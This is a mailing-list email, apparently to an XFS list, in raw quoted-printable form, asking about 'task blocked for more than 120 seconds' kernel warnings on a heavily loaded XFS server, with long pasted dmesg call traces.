[] ? filldir+0x0/0xe0 [] xfs_file_readdir+0x39/0x50 [xfs] [] vfs_readdir+0xc0/0xe0 [] sys_getdents+0x89/0xf0 [] ? device_not_available+0x1b/0x20 [] system_call_fastpath+0x16/0x1b --bcaec544eeccccc06a04f01bc12c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hello,

I am running a server with heavy= workload on a XFS mount:
/dev/mapper/v2-d1 on /d/d1 type xfs (r= w,nodev,noatime,inode64,allocsize=3D16m)
2.6.32-424.el6.x86_64 #1 SMP Mon Oct 14 20:11:50 EDT 2013 x86_6= 4 x86_64 x86_64 GNU/Linux

We get errors in log indicating p= rocesses are blocked for more than = 120 seconds.

1) Is this expected during heavy workload?
2)= What would be the impact on the processes? =A0Are they basically hung in u= serspace waiting for IO?
3) Is there anything we tune here?

Below is the output.

Cheers,
Ivan Novick

INFO: task flush-25= 3:1:6882 blocked for more than 120 seconds.
=A0 =A0 =A0 Tainted: = P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
flush-253:1 =A0 D 0000000000000000 =A0 =A0 0 =A0= 6882 =A0 =A0 =A02 0x00000000
=A0ffff881011fa5690 0000000000000046= 0000000000000000 ffff881013cba040
=A00000000000000001 ffff88012a447d40 ffff881013cba040 ffff881016eb4830=
=A0ffff881013cba5f8 ffff881011fa5fd8 000000000000fbc8 ffff881013= cba5f8
Call Trace:
=A0[<ffffffff815289d3>] io_sch= edule+0x73/0xc0
=A0[<ffffffff81267d18>] get_request_wait+0x108/0x1d0
= =A0[<ffffffff8109b4a0>] ? autoremove_wake_function+0x0/0x40
=A0[<ffffffff812618ce>] ? elv_merge+0x17e/0x1c0
=A0[<ff= ffffff81267e79>] blk_queue_bio+0x99/0x620
=A0[<ffffffff81266f00>] generic_make_request+0x240/0x5a0
=A0[<ffffffffa01c3f97>] ? dm_merge_bvec+0xc7/0x100 [dm_mod]
<= div>=A0[<ffffffff812672d0>] submit_bio+0x70/0x120
=A0[<f= fffffffa03b9c53>] xfs_submit_ioend_bio+0x33/0x40 [xfs]
=A0[<ffffffffa03b9d2c>] xfs_submit_ioend+0xcc/0x140 [xfs]
<= div>=A0[<ffffffffa03ba678>] xfs_vm_writepage+0x308/0x590 [xfs]
<= div>=A0[<ffffffff81133967>] __writepage+0x17/0x40
=A0[<f= fffffff81134c2d>] write_cache_pages+0x1fd/0x4c0
=A0[<ffffffff8100bdae>] ? call_function_single_interrupt+0xe/0x2= 0
=A0[<ffffffff81133950>] ? __writepage+0x0/0x40
= =A0[<ffffffff81134f14>] generic_writepages+0x24/0x30
=A0[&l= t;ffffffffa03b98ad>] xfs_vm_writepages+0x5d/0x80 [xfs]
=A0[<ffffffff81134f41>] do_writepages+0x21/0x40
=A0[&l= t;ffffffff811b52ad>] writeback_single_inode+0xdd/0x290
=A0[<= ;ffffffff811b56ad>] writeback_sb_inodes+0xbd/0x170
=A0[<fff= fffff811b580b>] writeback_inodes_wb+0xab/0x1b0
=A0[<ffffffff811b5c03>] wb_writeback+0x2f3/0x410
=A0[&= lt;ffffffff81528240>] ? thread_return+0x4e/0x76e
=A0[<fffff= fff81084fb2>] ? del_timer_sync+0x22/0x30
=A0[<ffffffff811b5= ec5>] wb_do_writeback+0x1a5/0x240
=A0[<ffffffff811b5fc3>] bdi_writeback_task+0x63/0x1b0
= =A0[<ffffffff8109b327>] ? bit_waitqueue+0x17/0xd0
=A0[<f= fffffff81143c40>] ? bdi_start_fn+0x0/0x100
=A0[<ffffffff811= 43cc6>] bdi_start_fn+0x86/0x100
=A0[<ffffffff81143c40>] ? bdi_start_fn+0x0/0x100
=A0[&= lt;ffffffff8109b0f6>] kthread+0x96/0xa0
=A0[<ffffffff8100c2= 0a>] child_rip+0xa/0x20
=A0[<ffffffff8109b060>] ? kthrea= d+0x0/0xa0
=A0[<ffffffff8100c200>] ? child_rip+0x0/0x20
INFO: tas= k ivanserver:6969 blocked for more than 120 seconds.
=A0 =A0 =A0 = Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el6.x86_64= #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs&quo= t; disables this message.
ivanserver =A0 =A0 =A0D 0000000000000000 =A0 =A0 0 =A06969 =A0 6947 0x= 00000000
=A0ffff881f4ef179d8 0000000000000082 0000000000000000 00= 0000000000000f
=A00000000000000001 ffff8800622143c0 0000000000000= 001 ffff880062216840
=A0ffff881f4eeae638 ffff881f4ef17fd8 000000000000fbc8 ffff881f4eeae638=
Call Trace:
=A0[<ffffffff815290e5>] schedule_tim= eout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<ffffffffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffff810a1591>] down+0x41/0x50
=A0[<ffffffffa= 03bc911>] xfs_buf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bca= a5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[&l= t;ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
=A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
<= div>=A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
= =A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<ff= ffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<ffffffff= 8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8100bdae>] ? call_function_single_interrupt+0xe/0x2= 0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[= <ffffffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[&l= t;ffffffff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8118a5b0>] ? fget+0x30/0x80
=A0[<fffff= fff8119f429>] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb&= gt;] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>= ;] system_call_fastpath+0x16/0x1b
INFO: task ivanserver:6972 blocked for more than 120 seconds.
=A0 =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-= 424.el6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_ti= meout_secs" disables this message.
ivanserver =A0 =A0 =A0D 0000000000000008 =A0 =A0 0 =A06972 =A0 6948 0x= 00000000
=A0ffff88100f1219d8 0000000000000086 0000000000000000 00= 0000000000000f
=A00000000000000001 ffff8810788143c0 0000000000000= 001 ffff881078816840
=A0ffff88100fd62638 ffff88100f121fd8 000000000000fbc8 ffff88100fd62638=
Call Trace:
=A0[<ffffffff815290e5>] schedule_tim= eout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<ffffffffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffff810a1591>] down+0x41/0x50
=A0[<ffffffffa= 03bc911>] xfs_buf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bca= a5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[&l= t;ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
=A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
<= div>=A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
= =A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<ff= ffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<ffffffff= 8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
I= NFO: task ivanserver:6985 blocked for more than 120 seconds.
=A0 = =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el= 6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
ivanserver =A0 =A0 =A0D 0000000000000000 =A0 =A0= 0 =A06985 =A0 6963 0x00000000
=A0ffff8810103ad9d8 00000000000000= 82 0000000000000000 000000000000000f
=A00000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840=
=A0ffff88100e01e638 ffff8810103adfd8 000000000000fbc8 ffff88100e= 01e638
Call Trace:
=A0[<ffffffff815290e5>] schedu= le_timeout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<fffff= fffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<fffffff= f810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_b= uf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0= [<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
= =A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
= =A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[&= lt;ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<fff= fffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
I= NFO: task ivanserver:6989 blocked for more than 120 seconds.
=A0 = =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el= 6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
ivanserver =A0 =A0 =A0D 0000000000000008 =A0 =A0= 0 =A06989 =A0 6981 0x00000000
=A0ffff8810101279d8 00000000000000= 86 0000000000000000 000000000000000f
=A00000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840=
=A0ffff8810252a4638 ffff881010127fd8 000000000000fbc8 ffff881025= 2a4638
Call Trace:
=A0[<ffffffff815290e5>] schedu= le_timeout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<fffff= fffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<fffffff= f810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_b= uf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0= [<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
= =A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
= =A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[&= lt;ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<fff= fffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
u= sxxnovicim1:Downloads novici$ cat dmesg.txt=A0
INFO: task flush-2= 53:1:6882 blocked for more than 120 seconds.
=A0 =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.= 32-424.el6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task= _timeout_secs" disables this message.
flush-253:1 =A0 D 0000= 000000000000 =A0 =A0 0 =A06882 =A0 =A0 =A02 0x00000000
=A0ffff881011fa5690 0000000000000046 0000000000000000 ffff881013cba040=
=A00000000000000001 ffff88012a447d40 ffff881013cba040 ffff881016= eb4830
=A0ffff881013cba5f8 ffff881011fa5fd8 000000000000fbc8 ffff= 881013cba5f8
Call Trace:
=A0[<ffffffff815289d3>] io_schedule+0x73/0= xc0
=A0[<ffffffff81267d18>] get_request_wait+0x108/0x1d0
=A0[<ffffffff8109b4a0>] ? autoremove_wake_function+0x0/0x40
=A0[<ffffffff812618ce>] ? elv_merge+0x17e/0x1c0
=A0[&l= t;ffffffff81267e79>] blk_queue_bio+0x99/0x620
=A0[<ffffffff= 81266f00>] generic_make_request+0x240/0x5a0
=A0[<ffffffffa0= 1c3f97>] ? dm_merge_bvec+0xc7/0x100 [dm_mod]
=A0[<ffffffff812672d0>] submit_bio+0x70/0x120
=A0[<= ffffffffa03b9c53>] xfs_submit_ioend_bio+0x33/0x40 [xfs]
=A0[&l= t;ffffffffa03b9d2c>] xfs_submit_ioend+0xcc/0x140 [xfs]
=A0[<= ;ffffffffa03ba678>] xfs_vm_writepage+0x308/0x590 [xfs]
=A0[<ffffffff81133967>] __writepage+0x17/0x40
=A0[<= ffffffff81134c2d>] write_cache_pages+0x1fd/0x4c0
=A0[<fffff= fff8100bdae>] ? call_function_single_interrupt+0xe/0x20
=A0[&l= t;ffffffff81133950>] ? __writepage+0x0/0x40
=A0[<ffffffff81134f14>] generic_writepages+0x24/0x30
= =A0[<ffffffffa03b98ad>] xfs_vm_writepages+0x5d/0x80 [xfs]
= =A0[<ffffffff81134f41>] do_writepages+0x21/0x40
=A0[<fff= fffff811b52ad>] writeback_single_inode+0xdd/0x290
=A0[<ffffffff811b56ad>] writeback_sb_inodes+0xbd/0x170
=A0[<ffffffff811b580b>] writeback_inodes_wb+0xab/0x1b0
=A0= [<ffffffff811b5c03>] wb_writeback+0x2f3/0x410
=A0[<fffff= fff81528240>] ? thread_return+0x4e/0x76e
=A0[<ffffffff81084fb2>] ? del_timer_sync+0x22/0x30
=A0= [<ffffffff811b5ec5>] wb_do_writeback+0x1a5/0x240
=A0[<ff= ffffff811b5fc3>] bdi_writeback_task+0x63/0x1b0
=A0[<fffffff= f8109b327>] ? bit_waitqueue+0x17/0xd0
=A0[<ffffffff81143c40>] ? bdi_start_fn+0x0/0x100
=A0[&= lt;ffffffff81143cc6>] bdi_start_fn+0x86/0x100
=A0[<ffffffff= 81143c40>] ? bdi_start_fn+0x0/0x100
=A0[<ffffffff8109b0f6&g= t;] kthread+0x96/0xa0
=A0[<ffffffff8100c20a>] child_rip+0xa/0x20
=A0[<fff= fffff8109b060>] ? kthread+0x0/0xa0
=A0[<ffffffff8100c200>= ;] ? child_rip+0x0/0x20
INFO: task ivanserver:6969 blocked for mo= re than 120 seconds.
=A0 =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.= 32-424.el6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task= _timeout_secs" disables this message.
ivanserver =A0 =A0 =A0= D 0000000000000000 =A0 =A0 0 =A06969 =A0 6947 0x00000000
=A0ffff881f4ef179d8 0000000000000082 0000000000000000 000000000000000f=
=A00000000000000001 ffff8800622143c0 0000000000000001 ffff880062= 216840
=A0ffff881f4eeae638 ffff881f4ef17fd8 000000000000fbc8 ffff= 881f4eeae638
Call Trace:
=A0[<ffffffff815290e5>] schedule_timeout+0= x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<ffffffffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffff810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_buf_lock+0x51/0x100 [xfs]
= =A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[= <ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0[<= ;ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0[<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
= =A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
=A0[&= lt;ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0= [<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
=A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
<= div>=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]=
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [x= fs]
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
= =A0[<ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffff8100bdae>] ? call_function_single_interrupt+0xe/0x20
=A0[= <ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffffa03b= e619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<ffffffff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<= ffffffff8118a5b0>] ? fget+0x30/0x80
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device= _not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
INFO: task ivanserver:6972 blocked for more than 120 seconds.
= =A0 =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-42= 4.el6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
ivanserver =A0 =A0 =A0D 0000000000000008 =A0 =A0= 0 =A06972 =A0 6948 0x00000000
=A0ffff88100f1219d8 00000000000000= 86 0000000000000000 000000000000000f
=A00000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840=
=A0ffff88100fd62638 ffff88100f121fd8 000000000000fbc8 ffff88100f= d62638
Call Trace:
=A0[<ffffffff815290e5>] schedu= le_timeout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<fffff= fffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<fffffff= f810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_b= uf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0= [<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
= =A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
= =A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[&= lt;ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<fff= fffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
I= NFO: task ivanserver:6985 blocked for more than 120 seconds.
=A0 = =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el= 6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
ivanserver =A0 =A0 =A0D 0000000000000000 =A0 =A0= 0 =A06985 =A0 6963 0x00000000
=A0ffff8810103ad9d8 00000000000000= 82 0000000000000000 000000000000000f
=A00000000000000001 ffff8800622143c0 0000000000000001 ffff880062216840=
=A0ffff88100e01e638 ffff8810103adfd8 000000000000fbc8 ffff88100e= 01e638
Call Trace:
=A0[<ffffffff815290e5>] schedu= le_timeout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<fffff= fffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<fffffff= f810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_b= uf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0= [<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
= =A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
= =A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[&= lt;ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<fff= fffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
=A0[<ffffffff8100b072>] system_call_fastpath+0x16/0x1b
I= NFO: task ivanserver:6989 blocked for more than 120 seconds.
=A0 = =A0 =A0 Tainted: P =A0 =A0 =A0 =A0 =A0 --------------- =A0 =A02.6.32-424.el= 6.x86_64 #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disabl= es this message.
ivanserver =A0 =A0 =A0D 0000000000000008 =A0 =A0= 0 =A06989 =A0 6981 0x00000000
=A0ffff8810101279d8 00000000000000= 86 0000000000000000 000000000000000f
=A00000000000000001 ffff8810788143c0 0000000000000001 ffff881078816840=
=A0ffff8810252a4638 ffff881010127fd8 000000000000fbc8 ffff881025= 2a4638
Call Trace:
=A0[<ffffffff815290e5>] schedu= le_timeout+0x215/0x2e0
=A0[<ffffffff8152a0e2>] __down+0x72/0xb0
=A0[<fffff= fffa03bcaa5>] ? _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<fffffff= f810a1591>] down+0x41/0x50
=A0[<ffffffffa03bc911>] xfs_b= uf_lock+0x51/0x100 [xfs]
=A0[<ffffffffa03bcaa5>] _xfs_buf_find+0xe5/0x230 [xfs]
=A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
= =A0[<ffffffffa03bd266>] ? _xfs_buf_read+0x46/0x60 [xfs]
=A0= [<ffffffffa03bcc24>] xfs_buf_get+0x34/0x1b0 [xfs]
=A0[<ffffffffa03bd2ac>] xfs_buf_read+0x2c/0x100 [xfs]
= =A0[<ffffffffa03b2c37>] xfs_trans_read_buf+0x197/0x410 [xfs]
=A0[<ffffffffa0385af9>] xfs_da_do_buf+0x279/0x770 [xfs]
= =A0[<ffffffffa03babcf>] ? xfs_buf_lru_add+0x6f/0x80 [xfs]
=A0[<ffffffffa03b3288>] ? xfs_trans_brelse+0xe8/0x130 [xfs]
=A0[<ffffffffa038606a>] xfs_da_read_buf+0x2a/0x30 [xfs]
=A0[<ffffffffa038c9e6>] ? xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffffa038c9e6>] xfs_dir2_leaf_getdents+0x266/0x780 [xfs]=
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[&= lt;ffffffffa03891e9>] xfs_readdir+0xf9/0x130 [xfs]
=A0[<fff= fffff8119f020>] ? filldir+0x0/0xe0
=A0[<ffffffff8119f020>] ? filldir+0x0/0xe0
=A0[<fff= fffffa03be619>] xfs_file_readdir+0x39/0x50 [xfs]
=A0[<fffff= fff8119f2a0>] vfs_readdir+0xc0/0xe0
=A0[<ffffffff8119f429&g= t;] sys_getdents+0x89/0xf0
=A0[<ffffffff8100bfbb>] ? device_not_available+0x1b/0x20
